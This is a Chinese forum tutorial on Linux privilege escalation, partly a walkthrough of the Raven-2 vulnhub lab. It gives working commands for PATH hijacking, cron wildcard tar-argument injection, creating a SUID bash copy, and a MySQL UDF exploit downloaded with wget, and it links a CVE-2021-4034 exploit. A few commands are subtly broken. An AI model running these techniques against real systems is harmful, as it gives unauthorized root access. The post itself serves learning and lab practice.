安全矩阵

 找回密码
 立即注册
搜索
查看: 3286|回复: 0

基础20-权限提升之Linux提权【下】

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-2-8 21:47:16 | 显示全部楼层 |阅读模式
原文链接:基础20-权限提升之Linux提权【下】
基础20-权限提升之Linux提权【下】               
内容目录
案例4.linux提权之本地环境变量安全案例5.linux提权之本地定时任务安全5.1第一种路径问题5.2第二种命令问题-WS注入5.3第三种权限问题案例6.linux提权之第三方服务数据库提权-mysql提权案例7.CVE-2021-4034本地提权(基本通杀linux)
案例4.linux提权之本地环境变量安全
过程:手写调用文件->编译->复制文件->增加环境变量->触发执行
查看当前权限
第一步,创建一个c语言文件,代码如下:
  1. #include<unistd.h>
  2. void main()
  3. { setuid(0);
  4.   setgid(0);
  5.   system("ps");
  6. }
复制代码

第三步,复制bin下的sh到tmp下并命名为ps。
这里我们执行一下ps命令。

查看当前环境变量,并将tmp也加入到环境变量中,
命令:export PATH=/tmpPATH
我们这里再次调用ps命令,我们就会发现返回值不再是返回当前进程状态,而是变成了sh命令。

因为此时我们之前将sh复制到了tmp目录下并命名为了ps,刚刚又加入到了环境变量,所以当我们再次输入ps的时候,调用的就是我们复制的披着ps外衣的sh命令。
第四步:执行shell文件。
这里我们发现,权限并没有提升,还是我之前的m9,此时的sh和ps都有SUID权限,可能是内核的原因吗?这里我换了几个不同版本的都没有成功,知道的大佬麻烦指点一下,跪谢。
偷迪哥成功的图,如下
如何查看本地拥有SUID权限的的文件呢,使用这个命令即可

find / -perm -4000 -type f 2>/dev/null
提权关键点:利在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录

案例5.linux提权之本地定时任务安全5.1第一种、路径问题
原理:由于对计划任务没有指定绝对路径,导致
第一步:查看当前计划任务
第二步:test.sh的内容

第三步:定时任务成功执行
这里由于test定时任务没有指定绝对路径,所以默认调用了usr/local/bin下的test.sh
这个就是定时任务的执行过程。
那我们应该如果去利用攻击呢,很简单,我们在当前用户目录下创建一个和没有绝对路径的sh一样名的文件。

命令:echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/M9/test.shchmod +x /home/xiaodi/test.sh由于没有指定绝对路径,所以下次再执行任务的时候,就会调用我们在当前用户下创建的test.sh,由于定时任务是root创建的,所以调用我们创建的test.sh文件时,同样也是root权限执行。【不过:ubuntu16、18测试失败】5.2第二种、命令问题-WS注入
原理:利用通配符配合命令参数自定义命令实现提权
第一步:查看当前计划任务,发现好像存在一个备份任务的执行脚本,查看脚本内容。
backup.sh中的命令cd /home/undead/script;tar czf /tmp/backup.tar.gz*
切换到home下的这个目录,对script文件夹中的所有内容进行压缩,放到tmp目录下。
我们先来看看scipt目录下的文件有哪些,以及执行后的样子。

第二步:备份文件正常执行的样子。
攻击思路:由于这里打包脚本的命令使用了通配符,所以,我们只需要往需要打包的文件中放入三个特别的文件。(test.sh也是)
这样,当sh执行打包命令时,他的语句就是这样的
加入两个文件后的打包命令:
cd /home/undead/script;tar czf /tmp/backup.tar.gz --checkpoint=1
--checkpoint-action=exec=sh test.sh
将文件名当作参数去调用执行,通过参数调用去执行test.sh,而这里test.sh的内容则是
内容:
cp /bin/bash /tmp/bash;chmod +s /tmp/bash
#将bash文件复制到/tmp目录下,并给予SUID权限
所以当我们的计划任务再次执行的时候,我们会看到/tmp目录下多出来一个bash,而压缩文件并没有将
[backcolor=rgba(0, 0, 0, 0.03)]--checkpoint=1
[backcolor=rgba(0, 0, 0, 0.03)]--checkpoint-action=exec=sh
压缩到文件包中。
而这里的bash,我们借用了计划任务的root权限,给我们赋值了SUID权限。
执行bash文件,返回root权限,提权成功。

总结:这个攻击过程相当于是连环计,计划任务通配符触发打包文件名,文件名当作参数被执行调用test.sh,test.sh中的命令又被再次执行,完成攻击。
  1. 使用到的攻击命令:
  2. #1.在test.sh文件中添加一行命令:将bash文件复制到/tmp目录下,并使用chmod +s赋值SUID权限
  3. echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
  4. #2.创建一个空文件,文件命名为--checkpoint-action=exec=sh test.sh
  5. echo "" > "--checkpoint-action=exec=sh test.sh"
  6. #3.创建一个空文件,文件命名为--checkpoint=1
  7. echo "" > --checkpoint=1
  8. [如果不能新建的话自己在本地写完后再上传也是一样的]
复制代码

5.3第三种、权限问题
原理:利用不安全的权限分配操作导致的定时任务覆盖。【管理员权限给的过于高,导致任何用户都可以对计划任务文件进行写入】
我们一般正常给予文件权限应该是chmod +x xx.sh
只有创建者才有权限修改这个文件,如果管理员直接输入的命令是chmod 777 xx.sh时就会发现,
所有人,都对这个文件可以直接进行写入操作,如果这个文件是一个计划任务的话,那我们就可以直接直接加入命令到这个文件,让计划任务去执行我们修改后的文件,达到提权的效果。

攻击操作:
这个就非常简单了,因为管理员设置的任意用户都可以去往xx.sh文件中写入命令,那我们就可以添加任意命令,等计划任务执行即可了,完成提权。
如何查看当前目录文件权限,ls -al即可

案例6.linux提权之第三方服务数据库提权
案例靶机:vulnhub靶机
下载地址:https://www.vulnhub.com/entry/raven-2,269/
第一步:信息收集
vulnhub老规矩,扫描网段,确实靶机ip地址。
应该就是这个,访问一下ip,打开目标。
通过目录扫描,我们这里得到了一个目录遍历,还有一个登录页面,及其他信息。
我们这里发现存在一个PHPMailer文件,而PHPMailer是一个发送邮件的函数包,而这个当时是爆出过远程命令执行漏洞,我们这里就使用exp验证一下。
第二步,漏洞验证,利用phpmailer反弹shell。
将exp中的信息完善好后,运行py文件
先去访问http://192.168.41.135/contact.php这个地址,然后再去访问http://192.168.41.135/m9.php,就可以得到反弹回来的shell
为了方便操作,我这里我们写入一个一句话后门,方便我们后面操作
蚁剑连接即可。
第三步,信息收集,准备提权。
可以看到,当前用户权限为web权限,我们这里要将他提上来,那么第一步就是信息收集了。
上传我们的信息收集脚本到tmp目录(tmp目录一般有执行权限)。
我们在查看基本信息的时候发现存在mysql服务,那么我们就可以利用mysql来进行权限提升。
第四步,寻找mysql的root用户密码
因为在前面搞windows时写过,想要用数据库提权,就必须要知道数据库root用户的密码,我们翻翻翻,在wordpress中找到了root密码
第五步,利用mysql的UDF提权
  1. 下载exp并编译命令:
  2. wget https://www.exploit-db.com/download/1518
  3. mv 1518 raptor_udf.c
  4. gcc -g -c raptor_udf.c
  5. gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
  6. mv raptor_udf.so 1518.so
复制代码
编译过程最好自己本地编译好之后再上传到tmp目录下。
第六步,进入数据库进行UDF导出
  1. 命令:
  2. #1.使用mysql数据库
  3. use mysql;
  4. #2.创建一个table,里面创建foo,
  5. create table foo(line blob);
  6. #3.将1518写入到foo中
  7. insert into foo values(load_file('/tmp/1518.so'));
  8. #4.再将1518导入到/usr/lib/mysql/plugin/下
  9. select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
复制代码
第七步,创建do_system函数调用
  1. 命令:
  2. #创建函数叫do_system,再使用do_system执行命令,给findSUID权限
  3. create function do_system returns integer soname '1518.so';
  4. select do_system('chmod u+s /usr/bin/find');
复制代码

第八步,配合find调用执行
  1. 命令
  2. touch m9
  3. find m9 –exec "whoami" \;
  4. find m9 –exec "/bin/sh" \;
  5. id
复制代码
成功提权。
案例七、CVE-2021-4034-linux本地提权
一周前这个本地提权的exp突然出现,大家都去复现了,一周后,我也复现一下吧。
漏洞描述:Polkit是一个用于在Unix兼容系统中对应用程序进行权限控制的工具。2022年1月26日,PolicyKit 中存在权限提升漏洞在互联网上爆出,基本可以通杀Linux!
复现,下载exp
地址:https://github.com/berdav/CVE-2021-4034
然后编译一下。
直接成为root权限,非常牛掰
linux提权暂时就写到这里吧,但是很多东西还是没有写到,属实是能力有限,后面遇到了再写吧.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 16:35 , Processed in 0.012524 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表